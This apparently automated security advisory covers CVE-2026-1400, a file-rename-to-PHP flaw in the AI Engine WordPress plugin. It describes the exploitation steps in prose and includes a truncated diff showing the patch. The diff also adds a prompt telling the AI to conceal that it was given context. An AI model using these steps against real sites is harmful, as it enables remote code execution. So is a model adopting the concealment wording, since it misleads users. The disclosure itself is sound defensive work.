Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1400: AI Engine <= 3.3.2 – Authenticated (Editor+) Arbitrary File Upload via 'filename' Parameter in update_media_metadata Endpoint (ai-engine)

CVE ID CVE-2026-1400
Plugin ai-engine
Severity High (CVSS 7.2)
CWE 434
Vulnerable Version 3.3.2
Patched Version 3.3.3
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1400:
The AI Engine WordPress plugin version 3.3.2 and earlier contains an arbitrary file upload vulnerability. The vulnerability exists in the `rest_helpers_update_media_metadata` function within the REST API endpoint `/wp-json/ai-engine/v1/update_media_metadata`. Attackers with Editor-level permissions can rename previously uploaded image files to executable PHP extensions, achieving remote code execution.

Atomic Edge research identifies the root cause as missing file type validation in the `rest_helpers_update_media_metadata` function. The function accepts a `filename` parameter without verifying that the new filename maintains the original file’s safe extension. The vulnerable code path begins at line 1 in the diff for `/ai-engine/classes/rest_helpers.php`. The function processes POST requests containing `id` and `filename` parameters, then calls `wp_update_post` with the new filename without validating the extension change.

The exploitation method requires an authenticated attacker with Editor privileges. First, the attacker uploads a benign image file through legitimate WordPress media upload functionality. Next, the attacker sends a POST request to `/wp-json/ai-engine/v1/update_media_metadata` with the uploaded file’s attachment ID and a new filename parameter containing a `.php` extension. The plugin updates the attachment metadata, changing the stored filename while keeping the original file content intact. This creates an executable PHP file in the WordPress uploads directory.

The patch adds file extension validation in the `rest_helpers_update_media_metadata` function. The fix compares the original file extension with the new filename extension using `pathinfo()` functions. If the extensions differ, the function returns an error. The patch ensures uploaded files cannot change their extension after initial validation, preventing image-to-PHP conversion attacks.

Successful exploitation leads to remote code execution on the WordPress server. Attackers can upload PHP web shells, execute arbitrary commands, and compromise the hosting environment. The vulnerability requires Editor-level access, limiting attack surface but providing significant impact within multi-user WordPress installations where Editors manage content.

Differential between vulnerable and patched code

Code Diff
--- a/ai-engine/ai-engine.php
+++ b/ai-engine/ai-engine.php
@@ -4,7 +4,7 @@
 Plugin Name: AI Engine
 Plugin URI: https://wordpress.org/plugins/ai-engine/
 Description: AI meets WordPress. Your site can now chat, write poetry, solve problems, and maybe make you coffee.
-Version: 3.3.2
+Version: 3.3.3
 Author: Jordy Meow
 Author URI: https://jordymeow.com
 Text Domain: ai-engine
@@ -12,7 +12,7 @@
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */

-define( 'MWAI_VERSION', '3.3.2' );
+define( 'MWAI_VERSION', '3.3.3' );
 define( 'MWAI_PREFIX', 'mwai' );
 define( 'MWAI_DOMAIN', 'ai-engine' );
 define( 'MWAI_ENTRY', __FILE__ );
--- a/ai-engine/classes/admin.php
+++ b/ai-engine/classes/admin.php
@@ -395,6 +395,9 @@
         'audio' => MWAI_FALLBACK_MODEL_AUDIO,
         'embeddings' => MWAI_FALLBACK_MODEL_EMBEDDINGS,
       ],
+      'integrations' => [
+        'polylang' => function_exists( 'pll_get_post_language' ),
+      ],
     ];

     wp_localize_script( 'mwai', 'mwai', $localize_data );
--- a/ai-engine/classes/core.php
+++ b/ai-engine/classes/core.php
@@ -59,6 +59,10 @@
   #region Init & Scripts
   public function init() {
     global $mwai;
+
+    // Language
+    load_plugin_textdomain( MWAI_DOMAIN, false, basename( MWAI_PATH ) . '/languages' );
+
     $this->chatbot = null;
     $this->discussions = null;

@@ -148,6 +152,11 @@
       if ( $this->get_option( 'mcp_plugins' ) && class_exists( 'MeowPro_MWAI_MCP_Plugin' ) ) {
         new MeowPro_MWAI_MCP_Plugin( $this );
       }
+
+      // Polylang - Pro multilingual MCP tools (only if Polylang is active)
+      if ( $this->get_option( 'mcp_polylang' ) && class_exists( 'MeowPro_MWAI_MCP_Polylang' ) && function_exists( 'pll_get_post_language' ) ) {
+        new MeowPro_MWAI_MCP_Polylang( $this );
+      }
     }
   }

@@ -535,6 +544,24 @@
     $context['length'] = strlen( $context['content'] );
     return $context;
   }
+
+  /**
+   * Wrap context content with framing instructions for AI.
+   * This helps the AI understand that the context is background knowledge.
+   *
+   * @param string $context The raw context content.
+   * @return string The framed context with instructions.
+   */
+  public function frame_context( $context ) {
+    if ( empty( $context ) ) {
+      return $context;
+    }
+    $framing = "The following is your knowledge about this topic. " .
+      "Use it naturally when relevant - never mention or acknowledge that this information was provided to you. " .
+      "If the user's message is unrelated (e.g., greetings, thanks), respond naturally without using it.";
+    $framing = apply_filters( 'mwai_context_framing', $framing, $context );
+    return $framing . "nn---n" . $context . "n---";
+  }
   #endregion

   #region Users/Sessions Helpers
@@ -872,6 +899,10 @@
         'type' => 'internal', 'name' => 'Timeless', 'themeId' => 'timeless',
         'settings' => [], 'style' => ''
       ],
+      'foundation' => [
+        'type' => 'internal', 'name' => 'Foundation', 'themeId' => 'foundation',
+        'settings' => [], 'style' => ''
+      ],
     ];
     $customThemes = [];
     foreach ( $themes as $theme ) {
--- a/ai-engine/classes/engines/anthropic.php
+++ b/ai-engine/classes/engines/anthropic.php
@@ -558,9 +558,10 @@
         ];
       }
       if ( !empty( $query->context ) ) {
+        $framedContext = $this->core->frame_context( $query->context );
         $systemBlocks[] = [
           'type' => 'text',
-          'text' => "Context:nn" . $query->context
+          'text' => $framedContext
         ];
       }
       if ( !empty( $systemBlocks ) ) {
--- a/ai-engine/classes/engines/chatml.php
+++ b/ai-engine/classes/engines/chatml.php
@@ -117,9 +117,10 @@
       $messages[] = $message;
     }

-    // If there is a context, we need to add it.
+    // If there is a context, we need to add it with proper framing.
     if ( !empty( $query->context ) ) {
-      $messages[] = [ 'role' => 'system', 'content' => $query->context ];
+      $framedContext = $this->core->frame_context( $query->context );
+      $messages[] = [ 'role' => 'system', 'content' => $framedContext ];
     }

     // Finally, we need to add the message, but if there is an image, we need to add it as a system message.
@@ -952,8 +953,21 @@
       throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
     }

+    // Use wp_safe_remote_get to block localhost/private IPs (SSRF protection)
+    $response = wp_safe_remote_get( $url, [
+      'timeout' => 60,
+      'redirection' => 0  // Prevent redirect-based bypass
+    ] );
+    if ( is_wp_error( $response ) ) {
+      throw new Exception( 'Failed to download audio: ' . $response->get_error_message() );
+    }
+    $audio_data = wp_remote_retrieve_body( $response );
+    if ( empty( $audio_data ) ) {
+      throw new Exception( 'Failed to download audio: empty response.' );
+    }
+
     $tmpFile = tempnam( sys_get_temp_dir(), 'audio_' );
-    file_put_contents( $tmpFile, file_get_contents( $url ) );
+    file_put_contents( $tmpFile, $audio_data );
     $length = null;
     $metadata = wp_read_audio_metadata( $tmpFile );
     if ( isset( $metadata['length'] ) ) {
--- a/ai-engine/classes/engines/google.php
+++ b/ai-engine/classes/engines/google.php
@@ -100,6 +100,7 @@
     if ( isset( $rawMessage['role'] ) && isset( $rawMessage['parts'] ) &&
         !isset( $rawMessage['content'] ) && !isset( $rawMessage['tool_calls'] ) && !isset( $rawMessage['function_call'] ) ) {
       // Clean up any empty args arrays in functionCall parts
+      // IMPORTANT: Preserve thought_signature exactly as Google returns it (Gemini 3 requirement)
       $cleanedMessage = $rawMessage;
       if ( isset( $cleanedMessage['parts'] ) ) {
         foreach ( $cleanedMessage['parts'] as &$part ) {
@@ -109,6 +110,8 @@
               unset( $part['functionCall']['args'] );
             }
           }
+          // Note: thought_signature is preserved as-is (don't normalize to camelCase)
+          // Gemini 3 requires the exact format it returns
         }
       }
       return $cleanedMessage;
@@ -198,10 +201,11 @@

     // 3. Context (if any).
     if ( !empty( $query->context ) ) {
+      $framedContext = $this->core->frame_context( $query->context );
       $messages[] = [
         'role' => 'model',
         'parts' => [
-          [ 'text' => $query->context ]
+          [ 'text' => $framedContext ]
         ]
       ];
     }
@@ -300,7 +304,7 @@
         $messages[] = $formattedMessage;
         foreach ( $feedback_block['feedbacks'] as $feedback ) {
           $functionResponseMessage = [
-            'role' => 'function',
+            'role' => 'user',
             'parts' => [
               [
                 'functionResponse' => [
@@ -356,9 +360,15 @@
   protected function build_body( $query, $streamCallback = null ) {
     $body = [];

+    // Gemini 3 models don't support multiple candidates
+    $candidateCount = $query->maxResults;
+    if ( preg_match( '/gemini-3/', $query->model ) && $candidateCount > 1 ) {
+      $candidateCount = 1;
+    }
+
     // Build generation config
     $body['generationConfig'] = [
-      'candidateCount' => $query->maxResults,
+      'candidateCount' => $candidateCount,
       'maxOutputTokens' => $query->maxTokens,
       'temperature' => $query->temperature,
       'stopSequences' => []
@@ -567,9 +577,22 @@
           $hasGeneratedImage = false;

           if ( isset( $content['parts'] ) ) {
-            // Debug: Log the parts structure when thinking is enabled
-            if ( $this->core->get_option( 'queries_debug_mode' ) && !empty( $query->tools ) && in_array( 'thinking', $query->tools ) ) {
-              error_log( '[AI Engine] Response parts: ' . json_encode( $content['parts'] ) );
+            // Debug: Log the parts structure when debug mode is enabled and there are function calls
+            $hasFunctionCalls = false;
+            foreach ( $content['parts'] as $checkPart ) {
+              if ( isset( $checkPart['functionCall'] ) ) {
+                $hasFunctionCalls = true;
+                break;
+              }
+            }
+            if ( $this->core->get_option( 'queries_debug_mode' ) && $hasFunctionCalls ) {
+              error_log( '[AI Engine Queries] Google response parts with function calls: ' . json_encode( $content['parts'] ) );
+              // Check for thoughtSignature in parts
+              foreach ( $content['parts'] as $debugPart ) {
+                if ( isset( $debugPart['thoughtSignature'] ) || isset( $debugPart['thought_signature'] ) ) {
+                  error_log( '[AI Engine Queries] Found thoughtSignature in response' );
+                }
+              }
             }

             foreach ( $content['parts'] as $part ) {
@@ -1121,8 +1144,8 @@
           $model['name'] = preg_replace( '/((beta|alpha|preview))/i', '', $model['name'] );
         }

-        // Vision capabilities - all 2.5, 2.0, and 1.5 models support vision and files
-        if ( preg_match( '/gemini-(2.5|2.0|1.5)/', $model_id ) ) {
+        // Vision capabilities - all 3.x, 2.5, 2.0, and 1.5 models support vision and files
+        if ( preg_match( '/gemini-(3|2.5|2.0|1.5)/', $model_id ) ) {
           $tags[] = 'vision';
           $tags[] = 'files'; // All vision models support PDFs/documents
           $features[] = 'vision';
@@ -1253,6 +1276,15 @@
           $priceIn = 0.30;
           $priceOut = 30.00; // Output is $30 per 1M tokens
         }
+        else if ( preg_match( '/gemini-3.*image/', $model_id ) ) {
+          // Gemini 3 Pro Image: token-based pricing (like Flash Image)
+          // Pricing not yet officially announced, using estimate based on ~1500 tokens/image
+          // Target: ~$0.04 per image → $26.67 per 1M output tokens
+          $model['unit'] = 1 / 1000000; // Per 1M tokens
+          $model['mode'] = 'image';
+          $priceIn = 0.30; // Estimate similar to Flash Image
+          $priceOut = 26.67; // ~$0.04 per image at ~1500 tokens
+        }
       }

       // Add dimensions for embedding models
@@ -1264,7 +1296,8 @@
           $model['dimensions'] = [ 3072 ];
         }
       }
-      if ( $priceIn > 0 && $priceOut > 0 ) {
+      // Set price if either input or output has a cost (image models often have $0 input)
+      if ( $priceIn > 0 || $priceOut > 0 ) {
         $model['price'] = [ 'in' => $priceIn, 'out' => $priceOut ];
       }

@@ -1486,6 +1519,12 @@
       call_user_func( $streamCallback, $event );
     }

+    // Gemini 3 models don't support multiple candidates
+    $candidateCount = $query->maxResults;
+    if ( preg_match( '/gemini-3/', $query->model ) && $candidateCount > 1 ) {
+      $candidateCount = 1;
+    }
+
     // Build the request for image generation
     $body = [
       'contents' => [
@@ -1496,7 +1535,7 @@
         ]
       ],
       'generationConfig' => [
-        'candidateCount' => $query->maxResults
+        'candidateCount' => $candidateCount
       ]
     ];

--- a/ai-engine/classes/engines/mistral.php
+++ b/ai-engine/classes/engines/mistral.php
@@ -78,6 +78,12 @@
     // Use parent's build_body for standard ChatML format
     $body = parent::build_body( $query, $streamCallback, $extra );

+    // Mistral embedding models don't support the dimensions parameter
+    if ( $query instanceof Meow_MWAI_Query_Embed ) {
+      unset( $body['dimensions'] );
+      return $body;
+    }
+
     // Mistral uses 'max_tokens' instead of 'max_completion_tokens'
     if ( isset( $body['max_completion_tokens'] ) ) {
       $body['max_tokens'] = $body['max_completion_tokens'];
@@ -282,8 +288,6 @@
           'moderation',      // Moderation models
           'ocr',            // OCR-specific models
           'transcribe',     // Transcription-specific models
-          'mistral-embed',  // Legacy embed model (we'll include newer ones)
-          'codestral-embed' // Code-specific embed model
         ];

         $shouldSkip = false;
@@ -336,14 +340,23 @@
         }

         // Check for embeddings capability
-        // Skip older embedding models in favor of newer ones
+        $dimensions = null;
         if ( strpos( $modelId, 'embed' ) !== false ) {
-          // Only include the latest embed models
-          if ( $modelId === 'mistral-embed-2312' || $modelId === 'mistral-embed' ) {
-            continue; // Skip legacy embed models
+          // Skip only the dated legacy version
+          if ( $modelId === 'mistral-embed-2312' ) {
+            continue;
           }
           $features = ['embedding'];
           $tags = ['core', 'embedding'];
+          // Set dimensions based on model type
+          // mistral-embed: 1024 dimensions (fixed)
+          // codestral-embed: 3072 dimensions (fixed)
+          if ( strpos( $modelId, 'codestral' ) !== false ) {
+            $dimensions = 3072;
+          }
+          else {
+            $dimensions = 1024;
+          }
         }

         // Check for audio capability (voxtral models for chat, not transcription)
@@ -488,7 +501,7 @@
         // Mark this model as seen (after confirming it will be included)
         $seenModels[$modelName] = true;

-        $models[] = [
+        $modelData = [
           'model' => $modelId,
           'name' => $modelName,
           'family' => 'mistral',
@@ -503,6 +516,11 @@
           'maxContextualTokens' => $maxContextualTokens,
           'tags' => $tags,
         ];
+        // Add dimensions for embedding models (fixed, not configurable)
+        if ( $dimensions !== null ) {
+          $modelData['dimensions'] = $dimensions;
+        }
+        $models[] = $modelData;
       }

       return $models;
--- a/ai-engine/classes/engines/open-router.php
+++ b/ai-engine/classes/engines/open-router.php
@@ -128,6 +128,135 @@
   }

   /**
+   * OpenRouter uses /chat/completions with modalities parameter for image generation,
+   * not the standard /images/generations endpoint.
+   */
+  public function run_image_query( $query, $streamCallback = null ) {
+    $body = [
+      'model' => $query->model,
+      'messages' => [
+        [
+          'role' => 'user',
+          'content' => $query->get_message()
+        ]
+      ],
+      'modalities' => [ 'text', 'image' ],
+    ];
+
+    // Add number of images if specified
+    if ( !empty( $query->maxResults ) && $query->maxResults > 1 ) {
+      $body['n'] = $query->maxResults;
+    }
+
+    // Add image config for Gemini models (aspect ratio support)
+    if ( !empty( $query->resolution ) && strpos( $query->model, 'google/' ) === 0 ) {
+      $body['image_config'] = [
+        'aspect_ratio' => $query->resolution
+      ];
+    }
+
+    $endpoint = apply_filters( 'mwai_openrouter_endpoint', 'https://openrouter.ai/api/v1', $this->env );
+    $url = trailingslashit( $endpoint ) . 'chat/completions';
+    $headers = $this->build_headers( $query );
+    $options = $this->build_options( $headers, $body );
+
+    try {
+      $res = $this->run_query( $url, $options );
+      $data = $res['data'];
+
+      if ( empty( $data ) || !isset( $data['choices'] ) ) {
+        throw new Exception( 'No image generated in response.' );
+      }
+
+      $reply = new Meow_MWAI_Reply( $query );
+      $reply->set_type( 'images' );
+      $images = [];
+
+      // Extract images from the response
+      foreach ( $data['choices'] as $choice ) {
+        $message = $choice['message'] ?? [];
+
+        // Check for images in the message (OpenRouter format)
+        // Each image is: { "type": "image_url", "image_url": { "url": "data:image/png;base64,..." } }
+        if ( isset( $message['images'] ) && is_array( $message['images'] ) ) {
+          foreach ( $message['images'] as $image ) {
+            if ( is_array( $image ) && isset( $image['image_url']['url'] ) ) {
+              $images[] = [ 'url' => $image['image_url']['url'] ];
+            }
+            elseif ( is_array( $image ) && isset( $image['image_url'] ) && is_string( $image['image_url'] ) ) {
+              $images[] = [ 'url' => $image['image_url'] ];
+            }
+            elseif ( is_string( $image ) ) {
+              // Direct base64 string
+              $images[] = [ 'url' => $image ];
+            }
+          }
+        }
+
+        // Also check content array for image parts
+        if ( isset( $message['content'] ) && is_array( $message['content'] ) ) {
+          foreach ( $message['content'] as $part ) {
+            if ( isset( $part['type'] ) && $part['type'] === 'image_url' ) {
+              if ( isset( $part['image_url']['url'] ) ) {
+                $images[] = [ 'url' => $part['image_url']['url'] ];
+              }
+              elseif ( is_string( $part['image_url'] ) ) {
+                $images[] = [ 'url' => $part['image_url'] ];
+              }
+            }
+          }
+        }
+      }
+
+      if ( empty( $images ) ) {
+        throw new Exception( 'No images found in the response.' );
+      }
+
+      // Record usage
+      $model = $query->model;
+      $resolution = !empty( $query->resolution ) ? $query->resolution : '1024x1024';
+
+      if ( isset( $data['usage'] ) ) {
+        $usage = $data['usage'];
+        $promptTokens = $usage['prompt_tokens'] ?? 0;
+        $completionTokens = $usage['completion_tokens'] ?? 0;
+        $this->core->record_tokens_usage( $model, $promptTokens, $completionTokens );
+        $usage['queries'] = 1;
+        $usage['accuracy'] = 'tokens';
+        $reply->set_usage( $usage );
+        $reply->set_usage_accuracy( 'tokens' );
+      }
+      else {
+        $usage = $this->core->record_images_usage( $model, $resolution, count( $images ) );
+        $reply->set_usage( $usage );
+        $reply->set_usage_accuracy( 'estimated' );
+      }
+
+      $reply->set_choices( $images );
+
+      // Handle local download if enabled
+      if ( $query->localDownload === 'uploads' || $query->localDownload === 'library' ) {
+        foreach ( $reply->results as &$result ) {
+          $fileId = $this->core->files->upload_file( $result, null, 'generated', [
+            'query_envId' => $query->envId,
+            'query_session' => $query->session,
+            'query_model' => $query->model,
+          ], $query->envId, $query->localDownload, $query->localDownloadExpiry );
+          $fileUrl = $this->core->files->get_url( $fileId );
+          $result = $fileUrl;
+        }
+      }
+
+      $reply->result = $reply->results[0];
+      return $reply;
+    }
+    catch ( Exception $e ) {
+      Meow_MWAI_Logging::error( 'OpenRouter: ' . $e->getMessage() );
+      throw new Exception( 'OpenRouter: ' . $e->getMessage() );
+    }
+  }
+
+  /**
   * Retrieve the models from OpenRouter, adding tags/features accordingly.
   */
   public function retrieve_models() {
@@ -263,7 +392,20 @@
       $tags[] = 'vision';
     }

-    return [
+    // Check if the model supports image generation (if "image" is in the output part after "->")
+    // e.g. "text->image" or "text+image->text+image" means it can generate images
+    $isImageGeneration = false;
+    if ( strpos( $modality_lc, '->' ) !== false ) {
+      $parts = explode( '->', $modality_lc );
+      $outputPart = $parts[1] ?? '';
+      $isImageGeneration = strpos( $outputPart, 'image' ) !== false;
+    }
+    if ( $isImageGeneration ) {
+      $features = [ 'text-to-image' ];
+      $tags = [ 'core', 'image' ];
+    }
+
+    $entry = [
       'model' => $model['id'] ?? '',
       'name' => trim( $model['name'] ?? '' ),
       'family' => $family,
@@ -278,6 +420,13 @@
       'maxContextualTokens' => $maxContextualTokens,
       'tags' => $tags,
     ];
+
+    // Add mode for image generation models
+    if ( $isImageGeneration ) {
+      $entry['mode'] = 'image';
+    }
+
+    return $entry;
   }

   /**
--- a/ai-engine/classes/engines/openai.php
+++ b/ai-engine/classes/engines/openai.php
@@ -272,10 +272,11 @@

           // Add context if present
           if ( !empty( $query->context ) ) {
+            $framedContext = $this->core->frame_context( $query->context );
             // Prepend context as a separate input_text in the same message
             array_unshift( $body['input'][0]['content'], [
               'type' => 'input_text',
-              'text' => $query->context . "nn"
+              'text' => $framedContext . "nn"
             ] );
           }
         }
@@ -305,14 +306,15 @@

         // Add context if present
         if ( !empty( $query->context ) ) {
+          $framedContext = $this->core->frame_context( $query->context );
           if ( isset( $body['input'] ) && is_string( $body['input'] ) ) {
-            $body['input'] = $query->context . "nn" . $body['input'];
+            $body['input'] = $framedContext . "nn" . $body['input'];
           }
           else {
             // Add context as system message
             array_unshift( $body['input'], [
               'role' => 'system',
-              'content' => $query->context
+              'content' => $framedContext
             ] );
           }
         }
--- a/ai-engine/classes/engines/replicate.php
+++ b/ai-engine/classes/engines/replicate.php
@@ -52,9 +52,10 @@
       $messages[] = $message;
     }

-    // If there is a context, we need to add it.
+    // If there is a context, we need to add it with proper framing.
     if ( !empty( $query->context ) ) {
-      $messages[] = [ 'role' => 'system', 'content' => $query->context ];
+      $framedContext = $this->core->frame_context( $query->context );
+      $messages[] = [ 'role' => 'system', 'content' => $framedContext ];
     }

     // Finally, we need to add the message, but if there is an image, we need to add it as a system message.
--- a/ai-engine/classes/modules/chatbot.php
+++ b/ai-engine/classes/modules/chatbot.php
@@ -163,6 +163,7 @@
     $actions = $this->sanitize_actions( $actions );
     $blocks = $this->sanitize_blocks( $blocks );
     $shortcuts = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->prepare_shortcuts_for_client( $shortcuts, $botId );
     $result = [
       'success' => true,
       'reply' => $reply,
@@ -207,6 +208,21 @@
     $newFileId = $params['newFileId'] ?? null;
     $newFileIds = $params['newFileIds'] ?? [];
     $crossSite = $params['crossSite'] ?? false;
+    $shortcutId = $params['shortcutId'] ?? null;
+
+    // If shortcutId is provided, look up the actual message
+    if ( $shortcutId && empty( $newMessage ) ) {
+      $shortcutMessage = $this->get_shortcut_message( $shortcutId, $botId );
+      if ( $shortcutMessage ) {
+        $newMessage = $shortcutMessage;
+      }
+      else {
+        return $this->create_rest_response( [
+          'success' => false,
+          'message' => 'Invalid or expired shortcut.'
+        ], 400 );
+      }
+    }

     if ( !$this->basics_security_check( $botId, $customId, $newMessage, $newFileId ) ) {
       return $this->create_rest_response( [
@@ -309,6 +325,79 @@
     return $this->sanitize_items( $shortcuts, $supported_shortcut_types, 'shortcut' );
   }

+  /**
+   * Prepare shortcuts for client by replacing messages with shortcutIds.
+   * The actual messages are stored server-side and looked up when the shortcut is clicked.
+   * This keeps the prompt content private and not exposed in the browser.
+   *
+   * @param array $shortcuts The shortcuts to prepare.
+   * @param string $botId The bot ID for validation.
+   * @return array The prepared shortcuts with shortcutIds instead of messages.
+   */
+  public function prepare_shortcuts_for_client( $shortcuts, $botId ) {
+    if ( empty( $shortcuts ) ) {
+      return $shortcuts;
+    }
+
+    $prepared = [];
+    foreach ( $shortcuts as $shortcut ) {
+      $type = $shortcut['type'] ?? '';
+      $data = $shortcut['data'] ?? [];
+
+      // Only process shortcuts that have a message (not callbacks)
+      if ( isset( $data['message'] ) && !empty( $data['message'] ) ) {
+        // Generate a unique shortcut ID
+        $shortcutId = wp_generate_uuid4();
+
+        // Store the message server-side (transient with 1 hour expiry)
+        $transient_key = 'mwai_shortcut_' . $shortcutId;
+        set_transient( $transient_key, [
+          'message' => $data['message'],
+          'botId' => $botId,
+        ], HOUR_IN_SECONDS );
+
+        // Replace message with shortcutId
+        unset( $data['message'] );
+        $data['shortcutId'] = $shortcutId;
+      }
+
+      $prepared[] = [
+        'type' => $type,
+        'data' => $data,
+      ];
+    }
+
+    return $prepared;
+  }
+
+  /**
+   * Look up a shortcut message by its ID.
+   *
+   * @param string $shortcutId The shortcut ID.
+   * @param string $botId The bot ID for validation.
+   * @return string|null The message, or null if not found.
+   */
+  public function get_shortcut_message( $shortcutId, $botId ) {
+    if ( empty( $shortcutId ) ) {
+      return null;
+    }
+
+    $transient_key = 'mwai_shortcut_' . $shortcutId;
+    $shortcut_data = get_transient( $transient_key );
+
+    if ( !$shortcut_data || !isset( $shortcut_data['message'] ) ) {
+      return null;
+    }
+
+    // Validate botId matches (security check)
+    if ( isset( $shortcut_data['botId'] ) && $shortcut_data['botId'] !== $botId ) {
+      Meow_MWAI_Logging::warn( "Shortcut botId mismatch: expected {$shortcut_data['botId']}, got {$botId}" );
+      return null;
+    }
+
+    return $shortcut_data['message'];
+  }
+
   #region Messages Integrity Check

   public function messages_integrity_diff( $messages1, $messages2 ) {
@@ -1167,7 +1256,9 @@
     $shortcuts = apply_filters( 'mwai_chatbot_shortcuts', [], $filterParams );
     $frontSystem['actions'] = $this->sanitize_actions( $actions );
     $frontSystem['blocks'] = $this->sanitize_blocks( $blocks );
-    $frontSystem['shortcuts'] = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->sanitize_shortcuts( $shortcuts );
+    $shortcuts = $this->prepare_shortcuts_for_client( $shortcuts, $botId );
+    $frontSystem['shortcuts'] = $shortcuts;

     // Client-side: Prepare JSON for Front Params and System Params
     $theme = isset( $frontParams['themeId'] ) ? $this->core->get_theme( $frontParams['themeId'] ) : null;
--- a/ai-engine/classes/query/dropped-file.php
+++ b/ai-engine/classes/query/dropped-file.php
@@ -9,6 +9,42 @@
   private $fileId; // The ID of the file in the database
   public $originalPath; // The original file path (for files loaded from disk)

+  /**
+   * Fetch content from a URL, handling internal vs external URLs differently.
+   * Internal URLs (same site) use wp_remote_get to avoid SSRF blocking issues.
+   * External URLs use wp_safe_remote_get for SSRF protection.
+   */
+  private static function fetch_url_content( $url ) {
+    $parts = wp_parse_url( $url );
+    if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
+      throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
+    }
+
+    // Check if internal URL by comparing hostnames (handles http/https mismatch)
+    $site_host = wp_parse_url( get_site_url(), PHP_URL_HOST );
+    $url_host = wp_parse_url( $url, PHP_URL_HOST );
+    $is_internal = ( $site_host === $url_host );
+
+    if ( $is_internal ) {
+      $response = wp_remote_get( $url, [ 'timeout' => 60, 'sslverify' => false ] );
+    }
+    else {
+      // SSRF protection for external URLs
+      $response = wp_safe_remote_get( $url, [ 'timeout' => 60, 'redirection' => 0 ] );
+    }
+
+    if ( is_wp_error( $response ) ) {
+      throw new Exception( 'AI Engine: Failed to download file: ' . $response->get_error_message() );
+    }
+
+    $data = wp_remote_retrieve_body( $response );
+    if ( empty( $data ) ) {
+      throw new Exception( 'AI Engine: Failed to download file contents from URL.' );
+    }
+
+    return $data;
+  }
+
   public static function from_url( $url, $purpose, $mimeType = null, $fileId = null ) {
     if ( empty( $mimeType ) ) {
       $mimeType = Meow_MWAI_Core::get_mime_type( $url );
@@ -120,25 +156,32 @@
       if ( empty( $url ) ) {
         throw new Exception( 'AI Engine: Could not find file URL for refId: ' . $this->data );
       }
-      $parts = wp_parse_url( $url );
-      if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
-        throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
-      }
-      $data = file_get_contents( $url );
-      if ( $data === false ) {
-        throw new Exception( 'AI Engine: Failed to download file contents for refId: ' . $this->data );
-      }
-      $this->rawData = $data;
+      $this->rawData = self::fetch_url_content( $url );
       return $this->rawData;
     }
     else if ( $this->type === 'url' ) {
-      // Validate URL scheme to prevent SSRF attacks
-      $parts = wp_parse_url( $this->data );
-      if ( !isset( $parts['scheme'] ) || !in_array( $parts['scheme'], [ 'http', 'https' ], true ) ) {
-        throw new Exception( 'Invalid URL scheme; only HTTP/HTTPS allowed.' );
+      // For internal URLs, try to read from disk first (more efficient)
+      $site_host = wp_parse_url( get_site_url(), PHP_URL_HOST );
+      $url_host = wp_parse_url( $this->data, PHP_URL_HOST );
+      if ( $site_host === $url_host ) {
+        $upload_dir = wp_upload_dir();
+        // Normalize protocols for comparison (http vs https)
+        $normalized_url = preg_replace( '/^https?:/', '', $this->data );
+        $normalized_upload_url = preg_replace( '/^https?:/', '', $upload_dir['baseurl'] );
+        if ( strpos( $normalized_url, $normalized_upload_url ) === 0 ) {
+          $local_path = str_replace( $normalized_upload_url, $upload_dir['basedir'], $normalized_url );
+          $local_path = Meow_MWAI_Core::sanitize_file_path( $local_path );
+          if ( file_exists( $local_path ) && is_readable( $local_path ) ) {
+            $this->rawData = file_get_contents( $local_path );
+            if ( $this->rawData !== false ) {
+              return $this->rawData;
+            }
+          }
+        }
       }

-      $this->rawData = file_get_contents( $this->data );
+      // Fetch via HTTP (handles internal vs external URLs with SSRF protection)
+      $this->rawData = self::fetch_url_content( $this->data );
       return $this->rawData;
     }
     else if ( $this->type === 'data' ) {
--- a/ai-engine/classes/rest.php
+++ b/ai-engine/classes/rest.php
@@ -1137,6 +1137,26 @@
       if ( !empty( $filename ) ) {
         $file_path = get_attached_file( $attachment_id );
         if ( $file_path ) {
+          // Security: Validate file extension to prevent arbitrary file upload attacks
+          $original_ext = strtolower( pathinfo( $file_path, PATHINFO_EXTENSION ) );
+          $new_ext = strtolower( pathinfo( $filename, PATHINFO_EXTENSION ) );
+
+          // Allowlist of safe media extensions (no executable types)
+          $allowed_extensions = [
+            'jpg', 'jpeg', 'png', 'gif', 'webp', 'bmp', 'ico', 'svg', 'avif',
+            'mp4', 'webm', 'ogg', 'mov', 'avi', 'wmv', 'flv', 'm4v',
+            'mp3', 'wav', 'flac', 'aac', 'm4a', 'wma',
+            'pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'rtf'
+          ];
+
+          // Extension must be in allowlist AND match original extension
+          if ( !in_array( $new_ext, $allowed_extensions, true ) ) {
+            throw new Exception( __( 'Invalid file extension. Only media file extensions are allowed.', 'ai-engine' ) );
+          }
+          if ( $new_ext !== $original_ext ) {
+            throw new Exception( __( 'File extension must match the original file type.', 'ai-engine' ) );
+          }
+
           $path_parts = pathinfo( $file_path );
           $new_file_path = $path_parts['dirname'] . '/' . $filename;
           if ( rename( $file_path, $new_file_path ) ) {
--- a/ai-engine/constants/init.php
+++ b/ai-engine/constants/init.php
@@ -112,6 +112,7 @@
   'search_frontend_env_id' => null,
   'search_website_context' => 'This is a website with useful information and content.',
   'module_forms' => false,
+  'forms_editor' => true,
   'module_blocks' => false,
   'module_playground' => true,
   'module_generator_content' => true,
--- a/ai-engine/constants/models.php
+++ b/ai-engine/constants/models.php
@@ -821,6 +821,9 @@
     'tags' => ['core', 'video']
   ],
   // Embedding models:
+  // OpenAI v3 models support Matryoshka embeddings (MRL) allowing dimension truncation
+  // while preserving semantic meaning. The dimensions array lists native + recommended sizes.
+  // See: https://huggingface.co/blog/matryoshka
   [
     'model' => 'text-embedding-3-small',
     'name' => 'Embedding 3-Small',
@@ -830,8 +833,8 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
-    'dimensions' => [ 512, 1536 ],
